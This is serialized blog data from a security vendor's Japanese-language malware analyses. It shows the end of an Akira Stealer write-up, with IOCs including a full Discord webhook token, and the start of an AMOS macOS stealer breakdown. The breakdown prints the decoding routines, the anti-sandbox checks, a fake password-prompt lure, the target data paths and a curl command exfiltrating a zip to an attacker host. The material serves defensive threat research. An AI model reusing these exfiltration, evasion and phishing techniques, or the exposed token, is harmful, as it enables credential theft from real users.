12703,12704],{},"37652937",[854,12706],{"className":12707},[857,858],[741,12709,12711],{"id":12710},"_5-discordとtelegramの識別子","5. DiscordとTelegramの識別子",[526,12713,747],{},[1420,12715,4701,12717],{"className":12716,"style":11126},[11125],[1436,12718,12719,4701,12725,4701,12735,4701,12745],{},[1426,12720,4706,12721,4706,12723,4701],{},[1429,12722,12062],{"style":6318},[1429,12724,1434],{},[1426,12726,4706,12727,4706,12730,4701],{},[1441,12728,12729],{},"Discord Webhook ID",[1441,12731,12732],{},[578,12733,12734],{},"1226766972675428372",[1426,12736,4706,12737,4706,12740,4701],{},[1441,12738,12739],{},"Discord Webhook Token",[1441,12741,12742],{},[578,12743,12744],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1426,12746,4706,12747,4706,12750,4701],{},[1441,12748,12749],{},"Telegram ID",[1441,12751,12752],{},[578,12753,12754],{},"5035121855",[854,12756],{"className":12757},[857,858],[557,12759,12761],{"id":12760},"_14-akira-stealerインシデントを振り返る-glueckkanja-csocで防御を強化する","14. Akira Stealerインシデントを振り返る: glueckkanja CSOCで防御を強化する",[526,12763,562],{},[526,12765,12766],{},"本ブログを通じて、当社はAkira情報窃取ツールの洗練された性質を掘り下げてきました。標的を絞った認証情報の窃取、ステルスなデータの窃取、そして従来の防御を回避する永続的な手法を特徴とする、高度なサイバー脅威です。このマルウェアがどのように機能し、どのようなリスクをもたらし、どの脆弱性を突くのかを理解することは、堅牢なサイバーセキュリティ戦略を築くうえで不可欠です。",[526,12768,12769],{},"Akira情報窃取ツールは、ログイン認証情報、ブラウザーセッション、暗号通貨ウォレット、メッセージングサービス、個人や組織のファイルといった機微なデータを狙って標的にします。その計算され精密な手口には、標準的なセキュリティ対策以上のもの、すなわち継続的な監視、踏み込んだフォレンジック分析、そして先を見越した脅威インテリジェンスが求められます。",[526,12771,12772],{},"glueckkanja CSOCでは、当社の深い技術的専門性と高度な分析能力を活かし、単なる検出の先へと進みます。当社の専門チームは、専用のCSOCサーバーから脅威をリアルタイムに継続監視し、Akira情報窃取ツールのような脅威の即時の特定、徹底した調査、効果的な無力化を可能にしています。",[526,12774,12775],{},"しかし当社の仕事はインシデント対応で終わりません。検出されたすべてのインシデントが当社のナレッジベースを豊かにし、セキュリティ体制を強化し、将来の脅威の何歩も先を行けるようにします。glueckkanja CSOCとともにあれば、お客様は単なる保護以上のものを得られます。長期的なレジリエンスに尽くす、適応型のセキュリティパートナーを得られるのです。",[526,12777,12778],{},"自社のデジタル資産を守るための次の一歩を踏み出してください。",[526,12780,12781],{},"今すぐglueckkanjaのサイバーセキュリティ専門家にご連絡ください。先を見越して、ともにお客様の未来を守りましょう。",[526,12783,12784],{},[567,12785,12786],{},"glueckkanja CSOCで防御を強化しましょう。",[557,12788,12790],{"id":12789},"_15-セキュリティと法的免責事項-実際のマルウェアコードの使用","15. セキュリティと法的免責事項 – 実際のマルウェアコードの使用",[526,12792,562],{},[526,12794,12795],{},"本記事には、インシデント対応やフォレンジック調査の過程で発見された実際の悪意あるソフトウェアに由来する、コードの抜粋や振る舞いの分解を含む、詳細な技術的知見が含まれています。この情報を共有する目的は厳密に教育的なものであり、プロの防御担当者が現実の脅威をより効果的に理解し、検出し、対応できるよう支援することを意図しています。当社は誠意をもって、また、より広いセキュリティコミュニティに貢献する意図をもってこれを公開します。",[526,12797,12798],{},"含まれるコードの一部が、実際に出回っている脅威アクターのツールキットやマルウェアの検体に由来する点に留意することが重要です。これらの断片は当社の知的財産ではなく、安全である、無害化されている、あるいはそのほかの意味で「無害」であると見なすべきものでもありません。そのようなコードの複製や運用上の使用は明確に推奨しません。読者は、本資料が研究と意識向上の機能を果たす一方で、過小評価すべきでないリスクプロファイルを本質的に伴うことを理解しなければなりません。",[526,12800,12801],{},"認定されたセキュリティチーム、SOC部門、学術研究者、マルウェアラボといった、法的に許可された環境で活動する訓練を受けた専門家のみが、ここで述べる手法やコードを扱うべきです。すべての実験は、隔離された非本番システムに限定し、適用される法律、社内ポリシー、倫理基準を遵守しなければなりません。",[526,12803,12804],{},"当社は、複製されたいかなるコードや振る舞いについても、サポートや検証を提供しません。正確性、関連性、完全性についていかなる保証もありません。さらに当社は、本コンテンツを攻撃目的、許可のないレッドチーム活動、商用のマルウェア開発、あるいは法的に定められた範囲を超えた敵対的テストに使用することを明確に拒否します。いかなる誤用も法的責任を招く可能性があります。glueckkanja AGは、本コンテンツの使用や誤解に起因する直接的または間接的な損害について、一切の責任を負いません。",[526,12806,12807],{},"本コンテンツを読み続ける、あるいは参照することにより、読者は上記を認識し、そのいかなる部分も違法または非倫理的な文脈で誤用、複製、適用しないことに同意したものとします。疑問がある場合は、実際のコード解析や類似の技術資料を扱う前に、法務、コンプライアンス、データ保護の部門にご相談ください。",[526,12809,12810],{},"本記事は、保証、サポート、責任なしに「現状のまま」提供されます。",[12812,12813,12814],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":530,"searchDepth":531,"depth":531,"links":12816},[12817,12818,12819,12820,12831,12832,12833,12834,12835,12836,12837,12838,12840,12841,12842,12843,12844,12845,12846,12847,12848,12851,12859,12860,12861,12867,12885,12903,12904,12905,12906,12914,12921,12928,12937,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,12957,12958,12959],{"id":743,"depth":531,"text":744},{"id":793,"depth":531,"text":794},{"id":814,"depth":531,"text":815},{"id":870,"depth":531,"text":871,"children":12821},[12822,12823,12825,12827,12829],{"id":891,"depth":2090,"text":892},{"id":946,"depth":2090,"text":12824},"2.1.2 Updater.exe – 初期ローダー",{"id":1053,"depth":2090,"text":12826},"2.1.3 main.exe – 難読化されたNodeJSペイロードコンテナー",{"id":1170,"depth":2090,"text":12828},"2.1.4 cmd.exe とPowerShellの中継",{"id":1280,"depth":2090,"text":12830},"2.1.5 astor.py を伴う python.exe",{"id":1415,"depth":531,"text":1416},{"id":1504,"depth":531,"text":1505},{"id":1581,"depth":531,"text":1582},{"id":1660,"depth":531,"text":1661},{"id":1730,"depth":531,"text":1731},{"id":1809,"depth":531,"text":1810},{"id":1916,"depth":531,"text":1917},{"id":2034,"depth":531,"text":12839},"4.2 AMSIバイパスの手法（クラス: gofor4msi）",{"id":2223,"depth":531,"text":2224},{"id":2343,"depth":531,"text":2344},{"id":2441,"depth":531,"text":2442},{"id":2537,"depth":531,"text":2538},{"id":2609,"depth":531,"text":2610},{"id":2678,"depth":531,"text":2679},{"id":2738,"depth":531,"text":2739},{"id":2877,"depth":531,"text":2878},{"id":2938,"depth":531,"text":2939,"children":12849},[12850],{"id":2950,"depth":2090,"text":2951},{"id":3306,"depth":531,"text":3307,"children":12852},[12853,12854,12855,12856,12857,12858],{"id":3315,"depth":2090,"text":3316},{"id":3429,"depth":2090,"text":3430},{"id":3627,"depth":2090,"text":3628},{"id":3915,"depth":2090,"text":3916},{"id":3993,"depth":2090,"text":3994},{"id":4155,"depth":2090,"text":4156},{"id":4389,"depth":531,"text":4390},{"id":4438,"depth":531,"text":4439},{"id":4450,"depth":531,"text":4451,"children":12862},[12863,12864,12865,12866],{"id":4456,"depth":2090,"text":4457},{"id":4500,"depth":2090,"text":4501},{"id":4560,"depth":2090,"text":4561},{"id":4595,"depth":2090,"text":4596},{"id":4632,"depth":531,"text":12868,"children":12869},"7.3 アンチ解析／回避（クラス: VmProtect）",[12870,12871,12872,12873,12875,12876,12877,12878,12879,12880,12881,12882,12883,12884],{"id":4641,"depth":2090,"text":4642},{"id":4657,"depth":2090,"text":4658},{"id":4695,"depth":2090,"text":4696},{"id":4784,"depth":2090,"text":12874},"7.3.4 VmProtect のアーキテクチャ",{"id":5136,"depth":2090,"text":5137},{"id":5202,"depth":2090,"text":5203},{"id":5270,"depth":2090,"text":5271},{"id":5334,"depth":2090,"text":5335},{"id":5402,"depth":2090,"text":5403},{"id":5459,"depth":2090,"text":5460},{"id":5557,"depth":2090,"text":5558},{"id":5627,"depth":2090,"text":5628},{"id":6083,"depth":2090,"text":6084},{"id":6129,"depth":2090,"text":6130},{"id":6143,"depth":531,"text":6144,"children":12886},[12887,12888,12890,12892,12894,12896,12898,12900,12902],{"id":6302,"depth":2090,"text":6303},{"id":6411,"depth":2090,"text":12889},"7.4.2 パスワードダンパー (Chromium.GetPasswords)",{"id":6537,"depth":2090,"text":12891},"7.4.3 クレジットカードダンパー (Chromium.GetCreditCards)",{"id":6619,"depth":2090,"text":12893},"7.4.4 Cookieダンパー (Chromium.GetCookies)",{"id":6700,"depth":2090,"text":12895},"7.4.5 Googleセッションダンパー (Chromium.dump_google_sessions)",{"id":6826,"depth":2090,"text":12897},"7.4.6 履歴ダンパー (Chromium.GetHistory)",{"id":6895,"depth":2090,"text":12899},"7.4.7 自動入力ダンパー (Chromium.GetAutofills)",{"id":6957,"depth":2090,"text":12901},"7.4.8 Firefoxプロファイルグラバー (GeckoDriver と grabFirefoxProfiles)",{"id":7033,"depth":2090,"text":7034},{"id":7072,"depth":531,"text":7073},{"id":7405,"depth":531,"text":7406},{"id":7519,"depth":531,"text":7520},{"id":7846,"depth":531,"text":7847,"children":12907},[12908,12909,12910,12911,12912,12913],{"id":7855,"depth":2090,"text":7856},{"id":8007,"depth":2090,"text":8008},{"id":8113,"depth":2090,"text":8114},{"id":8238,"depth":2090,"text":8239},{"id":8306,"depth":2090,"text":8307},{"id":8431,"depth":2090,"text":8432},{"id":8536,"depth":531,"text":12915,"children":12916},"7.9. DiscordとTelegramのトークン窃取（クラス: Discord）",[12917,12918,12919,12920],{"id":8550,"depth":2090,"text":8551},{"id":8682,"depth":2090,"text":8683},{"id":8927,"depth":2090,"text":8928},{"id":9008,"depth":2090,"text":9009},{"id":9079,"depth":531,"text":9080,"children":12922},[12923,12925,12926,12927],{"id":9092,"depth":2090,"text":12924},"7.10.1 Data クラスの初期化",{"id":9188,"depth":2090,"text":9189},{"id":9308,"depth":2090,"text":9309},{"id":9374,"depth":2090,"text":9375},{"id":9451,"depth":531,"text":12929,"children":12930},"7.11 ファイルグラバー（クラス: Utils.steal_files）",[12931,12932,12933,12934,12935,12936],{"id":9463,"depth":2090,"text":9464},{"id":9534,"depth":2090,"text":9535},{"id":9596,"depth":2090,"text":9597},{"id":9629,"depth":2090,"text":9630},{"id":9658,"depth":2090,"text":9659},{"id":9837,"depth":2090,"text":9838},{"id":9946,"depth":531,"text":9947,"children":12938},[12939,12940,12941,12942,12943],{"id":9955,"depth":2090,"text":9956},{"id":9970,"depth":2090,"text":9971},{"id":10049,"depth":2090,"text":10050},{"id":10198,"depth":2090,"text":10199},{"id":10432,"depth":2090,"text":10433},{"id":10786,"depth":531,"text":10787},{"id":10817,"depth":531,"text":10818},{"id":10937,"depth":531,"text":10938},{"id":11050,"depth":531,"text":11051},{"id":11102,"depth":531,"text":11103},{"id":11281,"depth":531,"text":11282},{"id":11332,"depth":531,"text":11333},{"id":11376,"depth":531,"text":11377},{"id":11417,"depth":531,"text":11418},{"id":11509,"depth":531,"text":11509},{"id":11524,"depth":531,"text":11525},{"id":12048,"depth":531,"text":12049},{"id":12354,"depth":531,"text":12355},{"id":12475,"depth":531,"text":12476},{"id":12538,"depth":531,"text":12539},{"id":12710,"depth":531,"text":12711},"post",{"lang":12962,"seoTitle":12963,"titleClass":12964,"date":12965,"categories":12966,"blogtitlepic":12967,"socialimg":12968,"customExcerpt":12969,"keywords":12970,"maxContent":325,"asideNav":12971,"footer":13020,"contactInContent":13021,"published":325},"ja","Akira Stealer: モジュール型情報窃取マルウェアの技術分析","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","始まりはMicrosoft 365のDefenderアラート1件でした。マルウェアもシグネチャも検出されず、騒ぎにもなりませんでした。ノイズの中のささやきが1つあっただけです。そこから明らかになったのは、数か月に及ぶ認証情報の窃取でした。外科手術のように正確で、静かで、ほとんど目に見えないものでした。当社のCSOCがこの静かな兆候を全面的な対応へと変えた経緯をご紹介します。お客様が制御を失っていたことに気づく前に、それを取り戻しました。","Microsoft 365セキュリティ, 認証情報窃取の検出, インシデント対応, Microsoft Defender, マネージドセキュリティサービス, クラウドセキュリティ, 脅威検出, サイバー攻撃の検出, CSOC, 高度な脅威対策",{"menuItems":12972},[12973,12975,12978,12981,12984,12987,12990,12993,12996,12999,13002,13005,13008,13011,13014,13017],{"href":12974,"text":559},"#プロローグ",{"href":12976,"text":12977},"#_1-初期イベントとトリアージの概要","初期イベントとトリアージの概要",{"href":12979,"text":12980},"#_2-マルウェアのアーキテクチャと実行チェーンの概要","マルウェアのアーキテクチャと実行チェーンの概要",{"href":12982,"text":12983},"#_3-ディープダイブ-updaterexe","ディープダイブ: Updater.exe",{"href":12985,"text":12986},"#_4-ディープダイブ-powbat","ディープダイブ: pow.bat",{"href":12988,"text":12989},"#_5-ディープダイブ-mainexe-electronベースのマルウェアローダー","ディープダイブ: main.exe",{"href":12991,"text":12992},"#_6-ディープダイブ-inputjs-暗号化されたjavascriptペイロードローダー","ディープダイブ: input.js",{"href":12994,"text":12995},"#_7-ディープダイブ-akira-stealer-v2-astorpy","ディープダイブ: Akira Stealer v2",{"href":12997,"text":12998},"#_8-循環型実行チェーン-自己修復ループ","循環型実行チェーン",{"href":13000,"text":13001},"#_9-ブロックチェーンの追跡と分析","ブロックチェーンの追跡と分析",{"href":13003,"text":13004},"#_10-akiraエコシステムの内側-商業化されたサイバー犯罪インフラ","Akiraエコシステムの内側",{"href":13006,"text":13007},"#_11-akira-stealer-quickcheck-影響を受けたファイル","Akira Stealer QuickCheck 影響を受けたファイル",{"href":13009,"text":13010},"#_12-対応のその先へ-glueckkanja-csocがインシデントをインサイトに変える方法","glueckkanja CSOCがインシデントをインサイトに変える方法",{"href":13012,"text":13013},"#_13-侵害の痕跡-iocs","侵害の痕跡 (IOCs)",{"href":13015,"text":13016},"#_14-akira-stealerインシデントを振り返る-glueckkanja-csocで防御を強化する","Akira Stealerインシデントを振り返る",{"href":13018,"text":13019},"#_15-セキュリティと法的免責事項-実際のマルウェアコードの使用","セキュリティと法的免責事項",{"noMargin":325},{"quote":484,"infos":13022},{"bgColor":13023,"color":13024,"boxBgColor":13025,"boxColor":13026,"headline":13027,"subline":13028,"level":741,"textStyling":13029,"flush":13030,"person":13031,"form":13043},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","今すぐお問い合わせください","Microsoft セキュリティの主要なMSSPとして、当社は日々企業をサイバー脅威から守っています。ぜひ一度お話しし、サイバー防御を共に強化しましょう。","text-light","justify-content-end",{"image":13032,"cloudinary":325,"alt":13033,"name":13033,"detailsHeader":13034,"details":13035},"/people/people-pam-team.png","プロジェクト＆アカウント管理","ご連絡をお待ちしております",[13036,13040],{"text":492,"href":13037,"details":13038,"icon":13039},"tel:+49 69 4005520","今すぐ電話する","site/phone",{"text":493,"href":13041,"icon":13042},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13044,"cta":13045,"method":12960,"action":13047,"fields":13048},"送信",{"skin":13046},"primary on-surface","/send",[13049,13053,13057,13060,13064,13069,13072,13075],{"type":13050,"id":13051,"value":13052},"hidden","_next","successful",{"label":13054,"type":621,"id":13055,"required":325,"requiredMsg":13056},"お名前*","name","お名前を入力してください。",{"label":13058,"type":621,"id":403,"required":325,"requiredMsg":13059},"会社名*","会社名を入力してください。",{"label":13061,"type":13062,"id":13062,"required":325,"requiredMsg":13063},"メールアドレス*","email","メールアドレスを入力してください。",{"label":13065,"type":13066,"id":13067,"required":325,"requiredMsg":13068},"お客様のデータは、お問い合わせの処理および回答の目的で当社に保存されます。データ保護の詳細については\u003Ca href=\"/ja/privacy\">プライバシーポリシー\u003C/a>をご覧ください。","checkbox","dataprotection","確認してください",{"type":13050,"id":13070,"value":13071},"_subject","Form: Blog MSSP 2025 | JA",{"type":13050,"id":13073,"value":13074},"inbox_key","gkgab-contact-form",{"type":13050,"id":13076},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":552,"description":562},"posts/2025-06-16-quiet-breach",[13081,13082,13083,13084],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","l-eVPYK-XiYGQB-M50WLGrQ3b0wGD24tnAC25rA6aqs",{"id":13087,"title":13088,"author":13089,"body":13090,"cta":494,"description":13094,"eventid":494,"extension":533,"hideInRecent":484,"layout":12960,"meta":15177,"moment":15179,"navigation":325,"path":15236,"seo":15237,"stem":15238,"tags":15239,"webcast":484,"__hash__":15243},"content_ja/posts/2026-04-10-incident-to-intelligence.md","未知のAMOSスティーラーの解剖：アラートから免疫獲得まで数時間",[521],{"type":523,"value":13091,"toc":15141},[13092,13095,13098,13101,13104,13108,13110,13113,13120,13122,13126,13128,13131,13140,13143,13146,13154,13157,13160,13162,13165,13184,13187,13195,13198,13206,13213,13217,13219,13222,13230,13245,13248,13250,13253,13257,13259,13267,13271,13273,13281,13285,13287,13290,13293,13295,13298,13306,13309,13311,13317,13320,13409,13412,13442,13444,13448,13450,13457,13460,13463,13465,13539,13543,13545,13556,13562,13633,13644,13651,13655,13657,13716,13719,13721,13728,13730,13734,13736,13743,13769,13954,13957,13965,13976,13979,13987,14001,14014,14016,14020,14022,14041,14063,14252,14255,14263,14266,14269,14271,14275,14277,14280,14355,14358,14377,14455,14458,14460,14464,14466,14469,14476,14531,14534,14542,14545,14547,14551,14553,14560,14573,14621,14632,14671,14680,14695,14698,14700,14704,14706,14713,14716,14724,14727,14735,14749,14752,14754,14758,14760,14770,14774,14776,14794,14802,14816,14836,14840,14842,14845,14853,14856,14864,14878,14882,14884,14887,14895,14914,14920,14924,14926,14934,14940,14947,14951,14953,14961,14964,14966,14969,14977,14980,14984,14986,14994,14998,15000,15008,15012,15014,15022,15026,15028,15036,15053,15058,15060,15063,15065,15072,15089,15092,15105,15107,15111,15113,15116,15119,15122,15138],[526,13093,13094],{},"当社のSOCでアラートが発報すると、そこから時計が動き始めます。対象となったお客様だけでなく、当社の保護下にあるすべての組織にとってです。現代の脅威環境で最も危険な瞬間はインテリジェンス・ギャップ、つまり新しいマルウェア亜種が最初に投入されてから、業界がその存在を知る日までの時間の窓です。",[526,13096,13097],{},"単独で活動するセキュリティチームにとって、この空白は極度の脆弱性を意味します。まだ書かれてもいないベンダー更新やシグネチャフィードを待つことになるからです。お客様に対しては、当社が内製したShared Threat Intelligenceがまさにこの窓を閉じます。",[526,13099,13100],{},"本記事は、これまで文書化されていなかったAMOSの亜種（Atomic macOS Stealer）を当社がどのように分解したか、そして単一の侵害されたエンドポイントから数時間のうちに、すべてのお客様環境を覆う検知とブロックがどのように生まれたかを、技術的に読み解くものです。",[13102,13103],"hr",{},[557,13105,13107],{"id":13106},"インシデント未知のiocシナリオ","インシデント：未知のIOCシナリオ",[526,13109,562],{},[526,13111,13112],{},"アラートが届いたのは2026年3月12日の現地時間6時25分でした。macOSエンドポイントが侵害されていたのです。当社のSOCがアーティファクトの解析に着手したとき、私たちはあらゆる脅威アナリストが恐れる状況に直面していました。既知のファイルハッシュもなく、C2のIPアドレスもなく、公開データベースには有意な挙動シグネチャもありません。",[526,13114,13115,13116,13119],{},"攻撃アーキテクチャの全体像が明らかになったのは、詳細解析に入ってからです。感染は15.7 MBのmacOS Universal Binary（x86_64とARM64）を基盤としており、",[578,13117,13118],{},"/private/tmp/helper","に配置されていました。この検体は侵害されたシステム上から直接は入手できず、当社チームは感染チェーンを再構成し、本来の配信リクエストを模擬して、攻撃者インフラからバイナリを手作業で取得する必要がありました。",[13102,13121],{},[741,13123,13125],{"id":13124},"stage-1サンドボックス検査","Stage 1：サンドボックス検査",[526,13127,747],{},[526,13129,13130],{},"本来のスティーラーがデバイス上で実行されるより前に、すでにAppleScriptのペイロードが動作していました。その中の文字列、ファイルパス、シェルコマンド、URLはすべて、3つの独自の算術関数でエンコードされていました。",[854,13132,13134],{"style":13133},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[616,13135,13138],{"className":13136,"code":13137,"language":621},[619],"on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[578,13139,13137],{"__ignoreMap":530},[526,13141,13142],{},"平文で現れる文字列は一つもありません。一見すると意味のない整数配列に見えたものは、エンコード方式を逆算すると、完成した実戦投入可能なデータ窃取・持ち出しフレームワークであることが判明しました。",[526,13144,13145],{},"当社はスクリプト内のすべての配列を静的にデコードしました。結果は明白でした。",[854,13147,13148],{"style":13133},[616,13149,13152],{"className":13150,"code":13151,"language":621},[619],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[578,13153,13151],{"__ignoreMap":530},[526,13155,13156],{},"このダウンロードURLは、正規のn8nワークフロー自動化ツールの更新を意図的に模倣しています。n8nは開発者やDevOpsエンジニアの間で広く使われているツールです。これは偶然ではありません。このキャンペーンが狙っているのは技術に精通した利用者であり、クラック版ソフトウェアを入れるような一般の利用者ではないのです。",[741,13158,13159],{"id":13159},"アンチサンドボックスチェック",[526,13161,747],{},[526,13163,13164],{},"ダウンロードの前に、スクリプトは専用のVM・サンドボックス検出ルーチンを実行していました。インシデントのアーティファクトからは、独立したアンチサンドボックススクリプトも復元できました。",[854,13166,13167],{"style":13133},[616,13168,13172],{"className":13169,"code":13170,"language":13171,"meta":530,"style":530},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[578,13173,13174,13179],{"__ignoreMap":530},[1707,13175,13176],{"class":1709,"line":1710},[1707,13177,13178],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1707,13180,13181],{"class":1709,"line":531},[1707,13182,13183],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[526,13185,13186],{},"スクリプトはその結果を2つのリストと照合します。1つ目はメモリ情報の中に仮想化の痕跡がないかを探すものです。",[854,13188,13189],{"style":13133},[616,13190,13193],{"className":13191,"code":13192,"language":621},[619],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[578,13194,13192],{"__ignoreMap":530},[526,13196,13197],{},"2つ目は、ハードウェア識別子を既知の解析マシンのシリアル番号リストと照合するものです。",[854,13199,13200],{"style":13133},[616,13201,13204],{"className":13202,"code":13203,"language":621},[619],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[578,13205,13203],{"__ignoreMap":530},[526,13207,13208,13209,13212],{},"一致した場合は",[578,13210,13211],{},"exit 100","で完全に中断します。Apple Silicon搭載の実機のMacBook Proでは、すべての検査が何も表示せずに通過し、実行はそのまま続きました。バイナリを1バイトもダウンロードしないうちに動作する、プロ水準のサンドボックス回避技術です。",[741,13214,13216],{"id":13215},"単純ながら効果的偽のパスワード入力ダイアログ","単純ながら効果的：偽のパスワード入力ダイアログ",[526,13218,747],{},[526,13220,13221],{},"デコードしたスクリプトには、ソーシャルエンジニアリングによる権限昇格用のダイアログも含まれていました。",[854,13223,13224],{"style":13133},[616,13225,13228],{"className":13226,"code":13227,"language":621},[619],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[578,13229,13227],{"__ignoreMap":530},[526,13231,13232,13233,13236,13237,13240,13241,13244],{},"このダイアログは、macOS標準の",[578,13234,13235],{},"display dialog","呼び出しに",[578,13238,13239],{},"with hidden answer","を付けて表示され、見た目では本物のmacOS認証要求と区別がつきません。スクリプトは入力されたパスワードを使って",[578,13242,13243],{},"login -pf \u003Cusername>","を呼び出し、バイナリが実行されるよりも前にプロセスをroot権限へ昇格させていました。",[741,13246,13247],{"id":13247},"スクリプトが収集したもの",[526,13249,747],{},[526,13251,13252],{},"バイナリが実行されると、osascriptは自身の収集処理を続行し、あらゆる種類の機微なシステムデータを吸い上げました。当社は収集対象のパスと宛先をすべてデコードしました。",[889,13254,13256],{"id":13255},"ブラウザデータ全chromium系ブラウザ-safari","ブラウザデータ（全Chromium系ブラウザ + Safari）：",[526,13258,895],{},[854,13260,13261],{"style":13133},[616,13262,13265],{"className":13263,"code":13264,"language":621},[619],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[578,13266,13264],{"__ignoreMap":530},[889,13268,13270],{"id":13269},"macos-keychain","macOS Keychain：",[526,13272,895],{},[854,13274,13275],{"style":13133},[616,13276,13279],{"className":13277,"code":13278,"language":621},[619],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[578,13280,13278],{"__ignoreMap":530},[889,13282,13284],{"id":13283},"apple-notes","Apple Notes",[526,13286,895],{},[526,13288,13289],{},"カウンタ付きヘッダーを添えてHTMLとして全内容をエクスポート",[889,13291,13292],{"id":13292},"ローカルファイル",[526,13294,895],{},[526,13296,13297],{},"デスクトップと書類、最大30 MB、重点は次の拡張子です。",[854,13299,13300],{"style":13133},[616,13301,13304],{"className":13302,"code":13303,"language":621},[619],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[578,13305,13303],{"__ignoreMap":530},[889,13307,13308],{"id":13308},"暗号資産ウォレット",[526,13310,895],{},[526,13312,13313,13316],{},[567,13314,13315],{},"200件を超えるブラウザ拡張機能ID","がハードコードされたリストで、MetaMask、Coinbase Wallet、TronLink、Phantom、Keplr、Yoroi、Ledger Live、Trezor Suite、XDEFI、Exodusなど主要なウォレットを網羅しています。",[526,13318,13319],{},"収集後、すべてのデータはランダムな名前の一時ディレクトリにまとめられ、外部へ持ち出されました。",[854,13321,13322],{"style":13133},[616,13323,13325],{"className":2779,"code":13324,"language":2781,"meta":530,"style":530},"ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n",[578,13326,13327,13356,13382,13398],{"__ignoreMap":530},[1707,13328,13329,13332,13335,13338,13341,13344,13347,13350,13353],{"class":1709,"line":1710},[1707,13330,13331],{"class":2788},"ditto",[1707,13333,13334],{"class":2796}," -c",[1707,13336,13337],{"class":2796}," -k",[1707,13339,13340],{"class":2796}," --sequesterRsrc",[1707,13342,13343],{"class":3013}," \u003C",[1707,13345,13346],{"class":2792},"staging_di",[1707,13348,13349],{"class":3023},"r",[1707,13351,13352],{"class":3013},">",[1707,13354,13355],{"class":2792}," /tmp/out.zip\n",[1707,13357,13358,13361,13364,13367,13370,13373,13376,13379],{"class":1709,"line":531},[1707,13359,13360],{"class":2788},"curl",[1707,13362,13363],{"class":2796}," --connect-timeout",[1707,13365,13366],{"class":2796}," 120",[1707,13368,13369],{"class":2796}," --max-time",[1707,13371,13372],{"class":2796}," 300",[1707,13374,13375],{"class":2796}," -X",[1707,13377,13378],{"class":2792}," POST",[1707,13380,13381],{"class":2796}," \\\n",[1707,13383,13384,13387,13390,13393,13396],{"class":1709,"line":2090},[1707,13385,13386],{"class":2796},"  -H",[1707,13388,13389],{"class":2792}," \"user: \u003Cuuid>\"",[1707,13391,13392],{"class":2796}," -H",[1707,13394,13395],{"class":2792}," \"BuildID: \u003Chw_profile>\"",[1707,13397,13381],{"class":2796},[1707,13399,13400,13403,13406],{"class":1709,"line":2096},[1707,13401,13402],{"class":2796},"  -F",[1707,13404,13405],{"class":2792}," \"file=@/tmp/out.zip\"",[1707,13407,13408],{"class":2792}," 